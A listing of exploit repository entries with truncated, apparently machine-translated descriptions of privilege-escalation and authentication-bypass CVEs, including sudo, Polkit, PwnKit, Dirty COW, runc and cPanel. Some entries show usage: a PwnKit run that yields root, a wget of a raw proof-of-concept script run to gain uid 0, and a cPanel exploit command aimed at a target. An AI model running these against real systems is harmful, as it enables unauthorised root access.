CVE-2021-3156

CVE-2021-3156 PoC para CVE-2021-3156 overflow de heap no sudo. Exploit por @gf256, também conhecido como cts. Agradecimentos a r4j do super guesser pela ajuda. Créditos a Braon Samedit da Qualys pelo aviso original. Vídeo de demonstração Nota importante A hora de modificação de /etc/passwd precis...

CVE-2019-5736-Dockerattack-and-security-mechanism

CVE-2019-5736-attack-and-security-mechanism In questo progetto abbiamo individuato un recente attacco tramite container malevoli e implementato un meccanismo di sicurezza per fermarlo. Introduzione Gli attacchi informatici sono diventati una sfida critica sia per le aziende che per le piccole...

CVE-2021-3560-Polkit-Privilege-Esclation

CVE-2021-3560-Polkit-Privilege-Esclation PoC Originalforschung von Kevin Backhouse Dies ist nur ein Bash-PoC-Skript, das die in Kevin Backhouses Blog erwähnten Exploit-Schritte automatisiert. Lies seinen Beitrag zu dieser Schwachstelle:...

Holistic-Deconstruction-of-CVE-2019-5736-

= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md 💀 CVE-2019-5736: Decostruzione della container breakout di runc Purple Teaming avanzato e analisi forense della fuga alla root dell'host 🛡️ Panoramica Questo repository contiene una decostruzione ad alta fedeltà e un...

CVE-2026-31431

CVE-2026-31431 कॉपी फेल स्थानीय विशेषाधिकार वृद्धि कॉपी फेल एक नया लिनक्स कर्नेल जीरो-डे है जो किसी भी प्रमाणित उपयोगकर्ता को 2017 से लगभग सभी लिनक्स वितरणों पर रूट विशेषाधिकार स्थानीय विशेषाधिकार वृद्धि, या LPE प्राप्त करने की अनुमति देता है। एक आसानी से उपयोग होने वाला शोषण पहले से ही सार्वजनिक...

CVE-2025-41244

CVE-2025-41244 VMware Aria Operations und VMware Tools enthalten eine Schwachstelle zur lokalen Privilegienausweitung. Ein bösartiger lokaler Akteur mit nicht-administrativen Berechtigungen, der Zugriff auf eine VM mit installierten und von Aria Operations mit aktiviertem SDMP verwalteten VMware...

Code-27-Companion-Hub-Exploits

Schwachstellen im Code 27 3D Companion Hub CVE-2026-36027, CVE-2026-36028 Der Code 27 3D Companion Hub ist ein physisches Desktop-Gerät, das eine benutzerdefinierte KI-Figur einen "Codie" als animierten 3D-Begleiter darstellt. Benutzer können beliebige 3D-Modelle hochladen oder erstellen, und...

Blackash-CVE-2025-20393

🛡️ CVE-2025-20393 – Kritische Cisco AsyncOS Schwachstelle 🔍 Überblick CVE‑2025‑20393 ist eine kritische Remotecodeausführung RCE ‑Schwachstelle in Cisco AsyncOS Software , die folgende Geräte betrifft: Cisco Secure Email Gateway physisch & virtuell Cisco Secure Email and Web Manager physisch &...

samba-trans2open-exploit-report

Report dell'Exploit Samba Trans2Open Questo repository contiene una guida tecnica completa per sfruttare la vulnerabilità Samba Trans2Open CVE-2003-0201 in un ambiente Linux virtuale. Lo sfruttamento è stato effettuato a scopo educativo e di formazione sull'hacking etico. Contenuti del Report...

CVE-2026-31431-copy-fail

Exploit CVE-2026-31431 Copy Fail Parte 1: Concetto Teorico Come funziona CVE-2026-31431 Invece di recuperare costantemente i file direttamente dal lento disco rigido fisico—il che spreca molto tempo—il sistema Linux crea una copia temporanea del file nella RAM, nota come Page Cache. Ciò consente ...

jailbreak-iOS12

Jailbreak per iOS 12 Jailbreak per iOS 12.0 e 12.1.2 con CVE-2019-6225 Un jailbreak iOS 12 incompleto. Per ora esegue solo l'exploit, ottiene tfp0, ottiene ROOT, esce dalla SandBox, scrive un file di test per dimostrare che la sandbox è stata violata e poi fa un respring. Sentiti libero di...

ghostlock-app

GhostLock-App 中文: READMEZH.md Dispositivi Supportati Kernel| Dispositivi ---|--- 6.1.118-android14-11-ga3b9c44908dd-ab13320413| Redmi Note 15 Pro+ 6.1.118-android14-11-gca0ef6d17716-ab13624819| Xiaomi 14 6.1.138-android14-11-g0c3d559bcd85-ab14529422| Xiaomi 14...

CVE-2021-4034

CVE-2021-4034 root@kitploit: $ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" gconv-modules mkdir -p GCONVPATH=. cp /usr/bin/true GCONVPATH=./pwnkit.so:. $ ./cve-2021-4034 whoami root exit...

CVE-2024-10220-githooks

Test CVE-2024-10220 riferimento https://irsl.medium.com/sneaky-write-hook-git-clone-to-root-on-k8s-node-e38236205d54...

CVE-2024-37081

CVE-2024-37081: Multipla Escalation dei Privilegi Locali in VMware vCenter Server Il vCenter Server contiene molteplici vulnerabilità di escalation locale dei privilegi dovute a una errata configurazione di sudo. Un utente locale autenticato con privilegi non amministrativi potrebbe sfruttare...

Escalamiento-de-Privilegios-usando-el-Kernel-Exploit-Dirty-Cow

Escalata di Privilegi utilizzando il Kernel Exploit Dirty Cow Questo progetto ha lo scopo di dimostrare in modo pratico il funzionamento dell'exploit Dirty COW CVE-2016-5195, una vulnerabilità critica del kernel di Linux. Viene simulato uno scenario realistico in cui un attaccante con accesso...

cPanelSniper

cPanelSniper CVE-2026-41940 — Bypass dell'autenticazione cPanel & WHM tramite iniezione CRLF nel file di sessione Catena di exploit in 4 fasi · Shell WHM interattiva · Scanner di massa · Pronto per pipeline · Solo stdlib Panoramica cPanelSniper è un framework di sfruttamento mirato per...

CVE-2026-41940-AuthBypass-Detector

CVE-2026-41940 Erkennung & Verifizierung Überblick Dieses Tool erkennt cPanel/WHM-Instanzen, die anfällig für CVE-2026-41940 sind , eine kritische Authentifizierungsumgehung, die von watchTowr Labs entdeckt wurde. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, Root-Zugri...

copy-fail

copy-fail PoC do CVE-2026-31431 USO: wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

2026-41940-poc

CVE-2026-41940 - cPanel/WHM प्रमाणीकरण बाईपास CVSS 9.8 | CRLF इंजेक्शन के माध्यम से अनधिकृत रूट एक्सेस उपयोग python3 cp.py -t cpanel.target.com पता लगाएं python3 cp.py -t cpanel.target.com --exploit शोषण करें @nickpaulsec...